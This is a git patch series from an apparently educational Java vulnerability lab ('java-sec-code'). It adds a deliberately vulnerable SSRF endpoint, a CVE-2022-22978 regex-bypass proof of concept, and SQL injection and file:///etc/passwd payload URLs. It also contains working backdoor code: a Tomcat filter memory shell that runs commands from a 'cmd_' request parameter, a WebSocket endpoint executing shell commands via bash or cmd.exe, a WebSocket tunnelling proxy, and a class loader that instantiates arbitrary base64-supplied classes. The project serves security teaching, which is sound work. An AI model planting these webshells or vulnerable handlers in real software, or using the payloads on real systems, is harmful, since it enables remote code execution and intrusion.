* User-Agent: Java/1.8.0_102

@@ -294,5 +295,18 @@ public String RestTemplateUrl(String url){ } + /** + * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com

+ * UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool

+ * Redirects: Do not follow redirects

+ * + * @param url url + * @return contents of url + */ + @GetMapping("/hutool/vuln") + public String hutoolHttp(String url){ + return HttpUtil.get(url); + } + } From da04cccd476a5a620c2c508360512e601580ddaf Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 16 Jan 2023 15:36:03 +0800 Subject: [PATCH 05/15] add CVE-2022-22978 --- README.md | 1 + README_zh.md | 1 + .../java/org/joychou/controller/Dotall.java | 32 +++++++++++++++++++ .../security/CsrfAccessDeniedHandler.java | 2 +- .../joychou/security/WebSecurityConfig.java | 5 ++- src/main/java/org/joychou/util/HttpUtils.java | 4 +-- 6 files changed, 41 insertions(+), 4 deletions(-) create mode 100644 src/main/java/org/joychou/controller/Dotall.java diff --git a/README.md b/README.md index edfda09c..c7e886a6 100644 --- a/README.md +++ b/README.md @@ -30,6 +30,7 @@ Sort by letter. - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) diff --git a/README_zh.md b/README_zh.md index 111c8be3..549766a5 100644 --- a/README_zh.md +++ b/README_zh.md @@ -26,6 +26,7 @@ joychou/joychou123 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java new file mode 100644 index 00000000..d2dfc49d --- /dev/null +++ b/src/main/java/org/joychou/controller/Dotall.java @@ -0,0 +1,32 @@ +package org.joychou.controller; + + + +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.regex.Pattern; + + +/** + * Spring Security CVE-2022-22978

+ * 漏洞相关wiki + * @author JoyChou @2023-01-212 + */ + +public class Dotall { + + + /** + * 官方spring-security修复commit记录 + * 漏洞描述:h + */ + public static void main(String[] args) throws Exception{ + Pattern vuln_pattern = Pattern.compile("/black_path.*"); + Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); + + String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); + System.out.println("Poc: " + poc); + System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n + System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n + } +} diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index 2e1df795..4f8ad327 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -29,7 +29,7 @@ public void handle(HttpServletRequest request, HttpServletResponse response, response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("CSRF check failed by JoyChou."); // response contents + response.getWriter().write("403 forbidden by JoyChou."); // response contents } } diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 5e8c3697..9d90c698 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -62,13 +62,16 @@ protected void configure(HttpSecurity http) throws Exception { .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); - // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());« + + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); http.cors(); // spring security login settings http.authorizeRequests() .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + // CVE-2022-22978漏洞代码 + .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden .anyRequest().authenticated().and() // any request authenticated except above static resources .formLogin().loginPage("/login").permitAll() // permit all to access /login page .successHandler(new LoginSuccessHandler()) diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index a5b67dad..2c248b29 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -146,7 +146,7 @@ public static String HttpURLConnection(String url) { public static String Jsoup(String url) { try { Document doc = Jsoup.connect(url) - //.followRedirects(false) +// .followRedirects(false) .timeout(3000) .cookie("name", "joychou") // request cookies .execute().parse(); @@ -164,7 +164,7 @@ public static String Jsoup(String url) { */ public static String okhttp(String url) throws IOException { OkHttpClient client = new OkHttpClient(); - // client.setFollowRedirects(false); +// client.setFollowRedirects(false); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); return client.newCall(ok_http).execute().body().string(); } From 9d66a8885aaf198a29602c7de1e45fba5a11a715 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 17 Jan 2023 14:40:29 +0800 Subject: [PATCH 06/15] add alibaba security purple team recruitment --- README.md | 2 +- README_zh.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c7e886a6..52642169 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) ## Introduce diff --git a/README_zh.md b/README_zh.md index 549766a5..70e68837 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,7 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) ## 介绍 From c3c41b44e0361b565bc945b106aeabc1676d30bd Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 23 Feb 2023 23:01:00 +0800 Subject: [PATCH 07/15] fix #25 --- java-sec-code.iml | 2 +- pom.xml | 6 + .../joychou/config/TomcatFilterMemShell.java | 120 ++++++++++++++++ .../joychou/config/WebSocketsCmdEndpoint.java | 46 +++++++ .../config/WebSocketsProxyEndpoint.java | 111 +++++++++++++++ .../joychou/controller/ClassDataLoader.java | 31 +++++ .../org/joychou/controller/Deserialize.java | 16 +-- .../java/org/joychou/controller/Dotall.java | 1 - .../java/org/joychou/controller/SQLI.java | 73 +++++----- .../java/org/joychou/controller/SSRF.java | 78 ++++++----- .../org/joychou/controller/WebSockets.java | 76 +++++++++++ src/main/java/org/joychou/controller/XXE.java | 3 +- .../joychou/security/WebSecurityConfig.java | 7 +- .../joychou/security/ssrf/SSRFChecker.java | 129 ++++++++++++++++-- src/main/resources/application.properties | 23 +++- 15 files changed, 618 insertions(+), 104 deletions(-) create mode 100644 src/main/java/org/joychou/config/TomcatFilterMemShell.java create mode 100644 src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java create mode 100644 src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java create mode 100644 src/main/java/org/joychou/controller/ClassDataLoader.java create mode 100644 src/main/java/org/joychou/controller/WebSockets.java diff --git a/java-sec-code.iml b/java-sec-code.iml index 9b423c61..6e093293 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -57,7 +57,6 @@ - @@ -222,5 +221,6 @@ + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 751a4b35..43c5b99a 100644 --- a/pom.xml +++ b/pom.xml @@ -306,6 +306,12 @@ 5.8.10 + + org.javassist + javassist + 3.27.0-GA + + diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java new file mode 100644 index 00000000..be7a1b1c --- /dev/null +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -0,0 +1,120 @@ +package org.joychou.config; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import java.lang.reflect.Field; +import org.apache.catalina.core.StandardContext; +import java.io.IOException; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import java.lang.reflect.Constructor; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.Context; +import org.springframework.stereotype.Component; + +import javax.servlet.*; +import java.util.*; + +@Component +public class TomcatFilterMemShell extends AbstractTranslet implements Filter { + static{ + try { + System.out.println("Tomcat filter backdoor class is loading..."); + final String name = "backdoorTomcatFilter"; + final String URLPattern = "/*"; + + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + // standardContext为tomcat标准上下文, + StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + + Class aClass; + try{ + // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext + // 适用于内嵌式springboot的tomcat + aClass = (Class) standardContext.getClass().getSuperclass(); + }catch (Exception e){ + aClass = standardContext.getClass(); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + // 获取当前tomcat标准上下文中已经存在的filterConfigs + Map filterConfigs = (Map) Configs.get(standardContext); + + // 判断下防止重复注入 + if (filterConfigs.get(name) == null) { + // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 + TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(backdoorFilter); + filterDef.setFilterName(name); + filterDef.setFilterClass(backdoorFilter.getClass().getName()); + standardContext.addFilterDef(filterDef); + + // 构造fiterMap,将filterMap添加到standardContext的FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(URLPattern); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 + filterConfigs.put(name, filterConfig); + System.out.println("Tomcat filter backdoor inject success!"); + } else System.out.println("It has been successfully injected, do not inject again."); + } catch (Exception e) { + System.out.println(e.getMessage()); + } + } + + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + String cmd; + if ((cmd = servletRequest.getParameter("cmd_")) != null) { + Process process = Runtime.getRuntime().exec(cmd); + java.io.BufferedReader bufferedReader = new java.io.BufferedReader( + new java.io.InputStreamReader(process.getInputStream())); + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line).append('\n'); + } + servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); + servletResponse.getOutputStream().flush(); + servletResponse.getOutputStream().close(); + return; + } + + filterChain.doFilter(servletRequest, servletResponse); + } + + + @Override + public void destroy() { + + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java new file mode 100644 index 00000000..ae4a0f1a --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java @@ -0,0 +1,46 @@ +package org.joychou.config; + +import javax.websocket.*; +import java.io.InputStream; + +public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onClose(Session session, CloseReason closeReason) { + super.onClose(session, closeReason); + } + + @Override + public void onError(Session session, Throwable throwable) { + super.onError(session, throwable); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java new file mode 100644 index 00000000..4c1f7710 --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java @@ -0,0 +1,111 @@ +package org.joychou.config; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WebSocketsProxyEndpoint extends Endpoint { + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java new file mode 100644 index 00000000..acd4ff3f --- /dev/null +++ b/src/main/java/org/joychou/controller/ClassDataLoader.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; + +public class ClassDataLoader { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/classloader") + public void classData() { + try{ + ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + HttpServletRequest request = sra.getRequest(); + String classData = request.getParameter("classData"); + + byte[] classBytes = java.util.Base64.getDecoder().decode(classData); + java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); + defineClassMethod.setAccessible(true); + Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); + cc.newInstance(); + }catch(Exception e){ + logger.error(e.toString()); + } + } +} diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 9531e980..1ca5ff43 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -29,17 +29,14 @@ public class Deserialize { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** - * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 - * Add the result to rememberMe cookie. - *

- * http://localhost:8080/deserialize/rememberMe/vuln + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); - if (null == cookie) { return "No rememberMe cookie. Right?"; } @@ -56,12 +53,9 @@ public String rememberMeVul(HttpServletRequest request) } /** - * Check deserialize class using black list. - * Or - * Update commons-collections to 3.2.2 or above. - * Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources. - *

- * http://localhost:8080/deserialize/rememberMe/security + * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security */ @RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request) diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java index d2dfc49d..f6746354 100644 --- a/src/main/java/org/joychou/controller/Dotall.java +++ b/src/main/java/org/joychou/controller/Dotall.java @@ -18,7 +18,6 @@ public class Dotall { /** * 官方spring-security修复commit记录 - * 漏洞描述:h */ public static void main(String[] args) throws Exception{ Pattern vuln_pattern = Pattern.compile("/black_path.*"); diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 6682115c..be46f45b 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -6,10 +6,10 @@ import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; import java.sql.*; import java.util.List; @@ -25,8 +25,10 @@ @RequestMapping("/sqli") public class SQLI { - private static Logger logger = LoggerFactory.getLogger(SQLI.class); - private static String driver = "com.mysql.jdbc.Driver"; + private static final Logger logger = LoggerFactory.getLogger(SQLI.class); + + // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver. + private static final String driver = "com.mysql.cj.jdbc.Driver"; @Value("${spring.datasource.url}") private String url; @@ -37,15 +39,14 @@ public class SQLI { @Value("${spring.datasource.password}") private String password; - @Autowired + @Resource private UserMapper userMapper; /** - * Vuln Code. - * http://localhost:8080/sqli/jdbc/vuln?username=joychou + *

Sql injection jbdc vuln code.


* - * @param username username + * http://localhost:8080/sqli/jdbc/vuln?username=joychou */ @RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username) { @@ -77,7 +78,7 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { } catch (ClassNotFoundException e) { - logger.error("Sorry,can`t find the Driver!"); + logger.error("Sorry, can't find the Driver!"); } catch (SQLException e) { logger.error(e.toString()); } @@ -86,10 +87,9 @@ public String jdbc_sqli_vul(@RequestParam("username") String username) { /** - * Security Code. - * http://localhost:8080/sqli/jdbc/sec?username=joychou + *

Sql injection jbdc security code by using {@link PreparedStatement}.


* - * @param username username + * http://localhost:8080/sqli/jdbc/sec?username=joychou */ @RequestMapping("/jdbc/sec") public String jdbc_sqli_sec(@RequestParam("username") String username) { @@ -100,7 +100,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { Connection con = DriverManager.getConnection(url, user, password); if (!con.isClosed()) - System.out.println("Connecting to Database successfully."); + System.out.println("Connect to database successfully."); // fix code String sql = "select * from users where username = ?"; @@ -122,7 +122,7 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { con.close(); } catch (ClassNotFoundException e) { - logger.error("Sorry, can`t find the Driver!"); + logger.error("Sorry, can't find the Driver!"); e.printStackTrace(); } catch (SQLException e) { logger.error(e.toString()); @@ -132,9 +132,8 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) { /** - * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a - * - * Incorrect use of prepareStatement. prepareStatement must use ? as a placeholder. + *

Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.

+ * */ @GetMapping("/mybatis/vuln01") public List mybatisVuln01(@RequestParam("username") String username) { @@ -186,17 +184,20 @@ public List mybatisVuln01(@RequestParam("username") String username) { } /** - * vul code - * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23 - * - * @param username username + *

Sql injection of mybatis vuln code.

+ *
*/ @GetMapping("/mybatis/vuln02") public List mybatisVuln02(@RequestParam("username") String username) { return userMapper.findByUserNameVuln02(username); } - // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23 + /** + *

Sql injection of mybatis vuln code.

+ *
http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc-- + *

select * from users order by id desc-- asc

+ */ @GetMapping("/mybatis/orderby/vuln03") public List mybatisVuln03(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(sort); @@ -204,10 +205,8 @@ public List mybatisVuln03(@RequestParam("sort") String sort) { /** - * security code - * http://localhost:8080/sqli/mybatis/sec01?username=joychou - * - * @param username username + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec01?username=joychou */ @GetMapping("/mybatis/sec01") public User mybatisSec01(@RequestParam("username") String username) { @@ -215,9 +214,8 @@ public User mybatisSec01(@RequestParam("username") String username) { } /** - * http://localhost:8080/sqli/mybatis/sec02?id=1 - * - * @param id id + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec02?id=1 */ @GetMapping("/mybatis/sec02") public User mybatisSec02(@RequestParam("id") Integer id) { @@ -226,14 +224,19 @@ public User mybatisSec02(@RequestParam("id") Integer id) { /** - * http://localhost:8080/sqli/mybatis/sec03 + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec03 */ @GetMapping("/mybatis/sec03") public User mybatisSec03() { return userMapper.OrderByUsername(); } - + /** + *

Order by sql injection mybatis security code by using sql filter.

+ * http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id + *

select * from users order by id asc

+ */ @GetMapping("/mybatis/orderby/sec04") public List mybatisOrderBySec04(@RequestParam("sort") String sort) { return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index b4c4bde8..f28b8b91 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -34,11 +34,12 @@ public class SSRF { private HttpService httpService; /** - * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd - * - * The default setting of followRedirects is true. - * Protocol: file ftp mailto http https jar netdoc - * UserAgent is Java/1.8.0_102. + *

+ * The default setting of followRedirects is true.
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102. + *

+ * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd */ @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) { @@ -90,9 +91,8 @@ public String httpURLConnectionVuln(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). - * - * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org */ @GetMapping("/request/sec") public String request(@RequestParam String url) { @@ -108,12 +108,12 @@ public String request(@RequestParam String url) { /** - * Download the url file. - * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd - *

- * new URL(String url).openConnection() - * new URL(String url).openStream() - * new URL(String url).getContent() + * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + */ @GetMapping("/openStream") public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { @@ -179,12 +179,10 @@ public String okhttp(@RequestParam String url) { } - /** * The default setting of followRedirects is true. - * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). - * - * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ @GetMapping("/httpclient/sec") public String HttpClient(@RequestParam String url) { @@ -204,8 +202,7 @@ public String HttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. * UserAgent is Jakarta Commons-HttpClient/3.1. - * - * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @GetMapping("/commonsHttpClient/sec") public String commonsHttpClient(@RequestParam String url) { @@ -223,9 +220,8 @@ public String commonsHttpClient(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is the useragent of browser. - * - * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ @GetMapping("/Jsoup/sec") public String Jsoup(@RequestParam String url) { @@ -244,9 +240,8 @@ public String Jsoup(@RequestParam String url) { /** * The default setting of followRedirects is true. - * UserAgent is Java/1.8.0_102. - * - * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + * UserAgent is Java/1.8.0_102.
